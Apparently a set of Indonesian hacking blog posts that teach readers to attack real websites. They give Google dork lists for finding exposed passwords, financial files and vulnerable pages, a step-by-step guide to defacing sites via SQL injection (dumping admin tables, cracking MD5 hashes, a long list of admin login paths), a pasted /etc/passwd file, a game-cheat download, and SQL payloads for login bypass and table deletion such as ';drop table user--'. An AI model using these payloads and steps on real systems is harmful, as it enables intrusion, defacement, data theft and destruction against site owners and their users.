Nah! tiba waktunya kita memanfaatkan "Paman Google" ini untuk search (nyari apa saja di internet) dengan waktu dan teknik yang bisa disebut "tepat". Lagi-lagi ini juga hasil dari berbagai hunting saya di berbagai web dan blog teman2 semua. Oleh karena itu ga salah juga saya pun turut andil ingin bagi-bagi informasi.

Pertama, Anda bisa mencari dari :
1. Iklan Google yang ada di semua situs, hasilnya akan sama saja.
2. Tombol Google search yang ada di toolbar.
3. Google main search Engine : http://www.google.com

Selanjutnya agar pencarian bisa paling mendekati keinginan Anda, ikuti tips berikut :

Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

"Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yangdimaksud. Sebagai contoh pada pencarian, “intitle:password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

“inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.

Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut. Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.

>“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.

“cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google.

Sebagai contoh:

“cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org

“filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian :

“filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.

“link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.

“related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.

“intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.

Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya. Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.

ex :

Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
"Index of /admin.asp"
"Index of /login.asp"

Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

inurl: /cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe
llinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery

Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
ntitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Dibawah ini ada beberapa contoh kasus:
(silahkan mencoba...segala resiko berkenaan dengan security website yang dituju...merupakan tanggung jawab masing-masing)

Operator dasar

+, -, ~ , ., *, “”, |, OR

Operator tambahan

allintext:, allintitle:, allinurl:, bphonebook:, cache:, define:, filetype:, info:, intext:, intitle:, inurl:, link:, phonebook:, related:, rphonebook:, site:, numrange:, daterange

Extensi yang dapat dicari:
HyperText Markup Language (html)
Microsoft PowerPoint (ppt)
Adobe Portable Document Format (pdf)
Microsoft Word (doc)
Adobe PostScript (ps)
Microsoft Works (wks, wps, wdb)
Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
Microsoft Excel (xls)
Microsoft Write (wri)
Lotus WordPro (lwp)
Rich Text Format (rtf)
MacWrite (mw)
Shockwave Flash (swf)
Text (ans, txt)

Pencarian berdasarkan range
komputer Rp5000000..7000000

Pencarian gaji
Salary filetype: xls site: edu
Salary filetype: xls site: edu

Informasi financial
Filetype: xls “checking account” “credit card” -intext: Application -intext: Form
Intitle: “Index of” finances.xls

Mencari inbox e-mail
Intitle: Index.of inurl: Inbox (456) (mit mailbox)
Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)

Mendeteksi OS
"Microsoft-IIS/5.0 server at”
Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0
Intitle: Test.Page.for.Apache seeing.this.instead
Intitle: Test.page “SSL/TLS-aware”

Mencari password
Inurl: etc inurl: passwd
Intitle: “Index of..etc” passwd
"# -FrontPage-" inurl: service.pwd
Inurl: admin.pwd filetype: pwd
Filetype: inc dbconn
Filetype: inc intext: mysql_connect
Filetype: ini +ws_ftp +pwd
Filetype: log inurl: “password.log”

Mencari User Name
+intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”

Mencari License Key
Filetype: lic lic intext: key

Sensitve Directories Listing
Intitle: “Index of” cfide
Intitle: index.of.winnt
Intitle: “index of” iissamples

CARA MENDEFACE WEBSITE

2012-12-10T15:06:00.007+07:00

Met Sore Mas Bro semua , gimana kabar??? Semoga baek amiennn. saya baru pulang mudik jadi baru sempet update blog ini.

yang rumahnya palembang mampir di gubuk saya ya mas bro?? hehehehe. oke kita sudahi basa basinya dah., wakakakakaka
Saya Mau berbagi Cara Deface Website mas bro, tapi inget ya mas bro, jangan di salah gunakan loh. awasss. hehehehehe.
ya maksut nya, kenapa kita deface website atau blog tersebut jika mereka menyediakan informasi yang penting bagi kita.
ya kan?? kita butuh mereka untuk menambah informasi dan pengetahuan kita, jadi kenapa kita jail mereka?? kan kasian mas bro.
toh mereka memberikan informasi gratis kan. ga di pungut biaya? ya kaya blog ini. jika blog ini bermanfaat jangan di deface ya mas bro. nanti saya kalo marah bisa kentut sembarangan. maksute opoooo kuiiii. hahahahaha
ya tutorial ini hanya untuk menambah pengetahuan saja ko mas bro, bukan untuk mengajarkan sesuatu yang jahat, betulll,hehehehe.
Lo mas bro masih ngeyel ya di tanggung sendiri akibatnya ya. hehehehe.
oww iya lupa mungkin ada mas bro yang belum tau Deface itu apa. bisa saya katakan Deface itu hal jail yang di lakukan Defacer2 untuk merubah tampilan website atau blog menjadi apa yang mereka mau. ya bisa dikatakan hacking lah mas bro.
malah sekarang ada tuh perkumpulan Defacer. mas bro mau menuju lokasi??? silahkan forumnya disini www.padang-community.forumid.net
tuh defacer2 handal berkumpul disana.

yawdah kita mulai Tutorialnya ya mas bro.
Sebenarnya ya mas bro untuk Deface itu banyak sekali jalanya. waduh jalan, apaan to. hehehehe
jenis nya SQL injetion, RFI dan masih banyak yang lain nya mas bro.

yang saya bahas ini menggunakan SQL mas bro.

Sekarang mas bro siapkan tools nya ya. Download SQLI Helper V 2.7 dulu ya disini

Selanjutnya Kita tinggal mencari website url target kita ya mas bro. kita cari di mbah google ja mbleketrek mas bro , banyak maksut nya. hahahahaha
mas bro hanya menuliskan Dork ke dalam penelusuran mbah google. wah mbah google juga bisa dimanfaatkan untuk jail ya. emang tuh si mbah lengkap abis.

nih mas bro list Daftar Kumpulan perintah Google dorkscript dork SQL injection.

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

pilih ya mas bro sampe mumet, hehehehe. banyak ya.
Maka akan muncul seribu satu macam website yang url-nya mirip seperti yang saya contohkan diatas. Sebenarnya masih banyak script atau dork SQL yang bisa kita dapatkan di internet. Nanti di artikel berikutnya, saya akan coba memberikannya secara lengkap untuk mas bro.
Nah bila mas bro sudah cucok, hehehe. sudah menemukan target tinggal kita test tuh , apakah site url tersebut bisa kita hack atau tidak.
Caranya gimana??? nah mas bro sisipkan tanda petik seperti ini ' pada akhir url tersebut.
contoh : http://www.WebsiteTargetHack.com/product_detail.php?pid=316
nah tuh tinggal tambahin tanda petik satu di belakangnya mas bro seperti ini jadinya nih.
http://www.WebsiteTargetHack.com/product_detail.php?pid=316'

Nah bila nanti muncul tulisan dibawah ini

Query failed.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'1 ORDER BY lastname' at line 1 SELECT * FROM person_old WHERE id=\'1 ORDER BY lastname. Atau Sebagainya yang mirip

Berarti Website tersebut bisa kita serang mas bro. waduh serang. kaya perang ja.
Sudah dapet kan??? Sekarang buka aplikasi SQLI Helper tersebut lalu copy url yang tadi tanpa tanda petik ya mas bro.

inget tanpa tanda petik!!!!! ke dalam kolom target.

Image View

Kemudian klik Inject, maka secara otomatis tuh apps akan cek vuln atau tidak.
jika inject mas bro berhasil maka tampilanya seperti ini mas bro :

Image View

Sudah??? Lalu klik DataBase name. informasi scheme dan natural. Pilih database selain informasi schema. selanjutnya klik Get Tablesmas bro.

Image View

Akan muncul beberapa list Table yang ada. Sekarang mas bro tinggal mencari table yang berisikan user name dan password administratornya. biasanya nama table nya tidak jauh dari admin_user, admin_login, atau apapun lah mas bro yang masih ada bau-bau login admin. asal jangan bau kentut. hehehehe. cos bau.

Image View

Langkah selanjutnya, Kolom Sql
Jika sudah pilih User mas bro klik get Coloumns.
Di Coloumns block yang usr_login dan usr_pass atau user_name dan password_admin lalu klik Dump Now.

Image View

nah selesai kan. belum dikit lagi mas bro.
setelah langkah tersebut selesai akan tampil seperti ini.

Image View

nah pilih user login dan user passwd tersebut ya mas bro

loh ko password nya seperti itu

567d29241cc4f2a7465f2d9356ab3615
657d29241cc4f2a7465f2d9356ab3615

Kenapa seperti ini mas bro???
karena password tersebut di enkripsi dengan MD5 mas bro. jadi kita harus ancurkan tuh enkripsi. wahahahaha, sangar amat sih ancurkan.

nah mas bro bisa menggunakan layanan crack md5 di md5crack.com.
mas bro tinggal masukkan kode tersebut di kotak penelusuran nya.
sambil bismilah ya mas bro, semoga password tersebut lemah dan bisa di hancurkan dengan metode brute force. . buset mau jailin orang ko bismilah. hahahahaha.
dan tinggal mas bro klik crack hash baby.

Jadi ga??? mbuh ga jadi nih. ya berarti harus cari password yang lain atua situs yang lain mas bro. hehehehe
ya memang di dunia hacking kita perlu kesabaran tinggi dan keuletan mas bro.
coba sana coba sini. dan terus berusaha.

bila mas bro sudah menemukan passwd yang tadi dan berhasil di pecahkan .
mas bro tinggal cari halaman login nya.
Nih kumpulan halaman admin SQL injection

http://target.com/admin1.php/
http://target.com/admin1.html
http://target.com/admin2.php
http://target.com/admin2.html
http://target.com/yonetim.php
http://target.com/yonetim.html
http://target.com/yonetici.php
http://target.com/yonetici.html
http://target.com/adm/
http://target.com/admin/
http://target.com/admin/account.php
http://target.com/admin/account.html
http://target.com/admin/index.php
http://target.com/admin/index.html
http://target.com/admin/login.php
http://target.com/admin/login.html
http://target.com/admin/home.php
http://target.com/admin/controlpanel.html
http://target.com/admin/controlpanel.php
http://target.com/admin.php
http://target.com/admin.html
http://target.com/admin/cp.php
http://target.com/admin/cp.html
http://target.com/cp.php
http://target.com/cp.html
http://target.com/administrator/
http://target.com/administrator/index.html
http://target.com/administrator/index.php
http://target.com/administrator/login.html
http://target.com/administrator/login.php
http://target.com/administrator/account.html
http://target.com/administrator/account.php
http://target.com/administrator.php
http://target.com/administrator.html
http://target.com/login.php
http://target.com/login.html
http://target.com/modelsearch/login.php
http://target.com/moderator.php
http://target.com/moderator.html
http://target.com/moderator/login.php
http://target.com/moderator/login.html
http://target.com/moderator/admin.php
http://target.com/moderator/admin.html
http://target.com/moderator/
http://target.com/account.php
http://target.com/account.html
http://target.com/controlpanel/
http://target.com/controlpanel.php
http://target.com/controlpanel.html
http://target.com/admincontrol.php
http://target.com/admincontrol.html
http://target.com/adminpanel.php
http://target.com/adminpanel.html
http://target.com/admin1.asp
http://target.com/admin2.asp
http://target.com/yonetim.asp
http://target.com/yonetici.asp
http://target.com/admin/account.asp
http://target.com/admin/index.asp
http://target.com/admin/login.asp
http://target.com/admin/home.asp
http://target.com/admin/controlpanel.asp
http://target.com/admin.asp
http://target.com/admin/cp.asp
http://target.com/cp.asp
http://target.com/administrator/index.asp
http://target.com/administrator/login.asp
http://target.com/administrator/account.asp
http://target.com/administrator.asp
http://target.com/login.asp
http://target.com/modelsearch/login.asp
http://target.com/moderator.asp
http://target.com/moderator/login.asp
http://target.com/moderator/admin.asp
http://target.com/account.asp
http://target.com/controlpanel.asp
http://target.com/admincontrol.asp
http://target.com/adminpanel.asp
http://target.com/fileadmin/
http://target.com/fileadmin.php
http://target.com/fileadmin.asp
http://target.com/fileadmin.html
http://target.com/administration/
http://target.com/administration.php
http://target.com/administration.html
http://target.com/sysadmin.php
http://target.com/sysadmin.html
http://target.com/phpmyadmin/
http://target.com/myadmin/
http://target.com/sysadmin.asp
http://target.com/sysadmin/
http://target.com/ur-admin.asp
http://target.com/ur-admin.php
http://target.com/ur-admin.html
http://target.com/ur-admin/
http://target.com/Server.php
http://target.com/Server.html
http://target.com/Server.asp
http://target.com/Server/
http://target.com/wp-admin/
http://target.com/administr8.php
http://target.com/administr8.html
http://target.com/administr8/
http://target.com/administr8.asp
http://target.com/webadmin/
http://target.com/webadmin.php
http://target.com/webadmin.asp
http://target.com/webadmin.html
http://target.com/administratie/
http://target.com/admins/
http://target.com/admins.php
http://target.com/admins.asp
http://target.com/admins.html
http://target.com/administrivia/
http://target.com/Database_Administration/
http://target.com/WebAdmin/
http://target.com/useradmin/
http://target.com/sysadmins/
http://target.com/admin1/
http://target.com/system-administration/
http://target.com/administrators/
http://target.com/pgadmin/
http://target.com/directadmin/
http://target.com/staradmin/
http://target.com/ServerAdministrator/
http://target.com/SysAdmin/
http://target.com/administer/
http://target.com/LiveUser_Admin/
http://target.com/sys-admin/
http://target.com/typo3/
http://target.com/panel/
http://target.com/cpanel/
http://target.com/cPanel/
http://target.com/cpanel_file/
http://target.com/platz_login/
http://target.com/rcLogin/
http://target.com/blogindex/
http://target.com/formslogin/
http://target.com/autologin/
http://target.com/support_login/
http://target.com/meta_login/
http://target.com/manuallogin/
http://target.com/simpleLogin/
http://target.com/loginflat/
http://target.com/utility_login/
http://target.com/showlogin/
http://target.com/memlogin/
http://target.com/members/
http://target.com/login-redirect/
http://target.com/sub-login/
http://target.com/wp-login/
http://target.com/login1/
http://target.com/dir-login/
http://target.com/login_db/
http://target.com/xlogin/
http://target.com/smblogin/
http://target.com/customer_login/
http://target.com/UserLogin/
http://target.com/login-us/
http://target.com/acct_login/
http://target.com/admin_area/
http://target.com/bigadmin/
http://target.com/project-admins/
http://target.com/phppgadmin/
http://target.com/pureadmin/
http://target.com/sql-admin/
http://target.com/radmind/
http://target.com/openvpnadmin/
http://target.com/wizmysqladmin/
http://target.com/vadmind/
http://target.com/ezsqliteadmin/
http://target.com/hpwebjetadmin/
http://target.com/newsadmin/
http://target.com/adminpro/
http://target.com/Lotus_Domino_Admin/
http://target.com/bbadmin/
http://target.com/vmailadmin/
http://target.com/Indy_admin/
http://target.com/ccp14admin/
http://target.com/irc-macadmin/
http://target.com/banneradmin/
http://target.com/sshadmin/
http://target.com/phpldapadmin/
http://target.com/macadmin/
http://target.com/administratoraccounts/
http://target.com/admin4_account/
http://target.com/admin4_colon/
http://target.com/radmind-1/
http://target.com/Super-Admin/
http://target.com/AdminTools/
http://target.com/cmsadmin/
http://target.com/SysAdmin2/
http://target.com/globes_admin/
http://target.com/cadmins/
http://target.com/phpSQLiteAdmin/
http://target.com/navSiteAdmin/
http://target.com/server_admin_small/
http://target.com/logo_sysadmin/
http://target.com/server/
http://target.com/database_administration/
http://target.com/power_user/
http://target.com/system_administration/
http://target.com/ss_vms_admin_sm/

Busettttt mumettt akuuuuu....

bila mas bro mumet nih ada trik satu lagi nih yang ingin memanipulasi website dengan metode javascript.

mas bro buka site yang ingin di uprak aprekkkkk . trus masukkan Code javascript berikut ke addres bar . enter dech.

javascript:document.body.contenEditable='true'; document.designMode='on'; void 0

setelah di oprak aprek print screen trus pamerin di mana ja bahwa mas bro telah berhasil hack website tersebut.
terus ada yang koment . "loh kok tadi saya kunjungi website nya, tampilanya normal-normal aja ko mas".
mas bro tinggal jawab dengan tanpa dosa dan muka tidak bersalah " ya mungkin sudah di perbaiki ma admin website tersebut"
wakakakakakakakakakakaka.,.
AJIBBBBBBBBBBB.,.

HACK FACEBOOK DENGAN SQL INJECTION

2012-12-10T14:50:00.000+07:00

Click Here At Your Own Risk

Injection Include.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
user:x:1000:1000:user,,,:/home/user:/bin/bash
sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin
todd:x:1001:1001:Todd Weaver,,,:/home/todd:/bin/bash
jeff:x:1002:1002:Jeff Reifman,,,:/home/jeff:/bin/bash
mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false
Debian-exim:x:102:104::/var/spool/exim4:/bin/false
statd:x:103:65534::/var/lib/nfs:/bin/false

CHEAT AYODANCE 10 DESEMBER 2012

2012-12-10T14:35:00.000+07:00

Cheat Ayodance 10 Desember 2012 - Cheat Ayodance 10 Desember 2012 V6088 - Cheat Ayodance 10 Desember 2012 Simple Hack - Kali ini saya mau membagikan Cheat Ayodance 7 Desember 2012 buat para cheater ayodance semua, pastinya sudah pada tau dong. mungkin sudah penasaran bisa langsung cek Cheat Ayodance 7 Desember 2012 .

Download Cheat

Fitur :

PF All Mode ON

PF All Mode OFF

Score Hack ON

Score Hack OFF

Bypass Pin

Bypass Hack shield

Emoticon No ACV

Auto Key ON

TEKNIK DASAR SQL INJECTION

2012-12-09T17:50:00.002+07:00

TEKNIK DASAR SQL INJECTION

Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan
kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :D
oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , ga bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :

Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .

Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh
pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection.

CARA NGEHACK WEBSITE 100& WORK

2012-12-09T17:33:00.000+07:00

CARA NGEHACK WEBSITE DENGAN XSS

Jim Ley menemukan adanya permasalahan XSS pada situs Google dan ia memutuskan untuk melaporkannya kepada Google. Lebih dari dua tahun lamanya, ternyata laporan dari Jim Ley tidak digubris sama sekali sehingga akhirnya pada bulan oktober 2004 ia memutuskan untuk mempublikasikan kepada publik.

